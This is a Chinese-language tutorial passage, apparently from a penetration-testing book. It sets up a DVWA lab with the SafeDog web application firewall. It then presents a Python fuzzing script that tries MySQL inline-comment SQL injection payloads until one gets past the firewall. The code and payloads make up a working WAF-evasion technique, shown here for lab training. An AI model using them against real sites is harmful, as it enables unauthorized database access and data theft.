本节我们想要绕过的安全狗版本为v4.023957 ,它是网站安全狗的Apache版。
首先搭建环境。渗透环境选用DVWA漏洞集成环境,下载地址
为http://www.dvwa.co.uk/ 。DVWA是一款集成的渗透测试演练环境,当刚刚入门 并且找不到合适的靶机时,可以使用DVWA ,它的搭建非常简便。如图8-1所示为 DVWA的下载页面。

图8-1 下载DVWA
下载完的文件是一个个压缩包,因为DVWA是建立在PHP和MySQL上的Web 漏洞测试环境,所以还需要一个由PHP和MySQL组成的Web服务才能正常运作。
通过下载网站环境phpStudy程序完成搭建,下载地址为小皮面板(phpstudy) - 让天下没有难配的服务器环境!。 安装完成后访问127.0.0.1查看服务是否开启,如图8-2所示。

图8-2 访问页面
将DVWA的压缩包解压到phpStudy的www 目录下。首先重置一下phpStudy的 MySQL密码,如图8-3所示。

图8-3 重置密码
这里将密码设置为root 。此时再找到DVWA目录下的配置文件,将
DVWA/config下的config.inc.php.dist修改为config.inc.php 。打开config.inc.php ,将 其中的数据库用户名和密码修改为正确的,如图8-4所示。

图8-4 修改配置文件
修改后保存。进入127.0.0.1/dvwa 目录便可正常显示登录界面。DVWA的默认 账户密码为admin/password。
接下来切换一下漏洞环境的难度。进入DVWA Security选项页面,将 Impossible换成Low ,点击Submit按钮,如图8-5所示。

图8-5 设置等级
最后安装安全狗,可从官网(网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改)下 载。选择Windows操作系统,Apache版4.0版本,按默认选项安装即可。
安装完成后,首先尝试一下没有开启安全狗时的正常注入返回。选择SQL
Injection为SQL注入环境。在User ID框内输入1会正常返回数据,但输 入“ 1’and‘ 1’” 时会返回SQL错误语句。如下所示:

会出现这个错误是因为1后面的单引号被注入了本身正常的SQL查询语句中, 导致SQL查询语句出现错误,并返回到页面中。这表示此处可能存在SQL注入 点。在开启安全狗防护后执行一些SQL语句,便有不一样的返回,如图8-6所示。
这说明SQL注入语句已被安全狗检测出并且拦截掉了。下面我们就来编写一 个简单的模糊测试绕安全狗脚本。

图8-6 安全狗拦截
首先抓取返回时安全狗页面的数据包和发送的数据,如果模糊测试发送数据 后返回的不是安全狗的页面,则表明已经绕过了安全狗,如图8-7所示。

图8-7 抓包
依据抓包信息编写如下脚本,发送一个请求包,其中含有抓取到的cookie,
因为这个页面是通过get传参的,所以模糊测试只需构造到URL中的参数进行测试 即可。通过模糊测试后,判断返回的页面是否为安全狗拦截显示的页面,使用页 面中返回的“攻击请求”进行判断,不存在这4个字,则表示已经绕过了安全狗:

import requests
#设置cookie
cookies = "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"
#设置协议头
headers = {
"User-Agent" : "Mozilla/5 .0 (Macintosh; Intel Mac OS X 10_13_2)
AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/63 .0 .3239 .84
Safari/537 .36",
"Cookie" : "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"
}
#循环FUZZ
for i in range(10000,15000) :
reture = "http://10 .211 .55 .3/dvwa/vulnerabilities/sqli/?id=1%27%2F*
%21" + str(i) + "and*%2F+%27a%27%3D%27a+--%2B&Submit=Submit"
r = requests .get(reture, headers=headers) .text
key = "攻击请求"
ss = r .find(key)
if ss == -1 :
print("fuzz is ok!url is :")
print(reture)
模糊测试脚本运行出来的结果如下所示,这些链接都是已经能够绕过安全狗 的。
绕过安全狗的效果如图8-8所示。
图8-8 绕过安全狗
这里提示已经成功绕过安全狗,完成注入。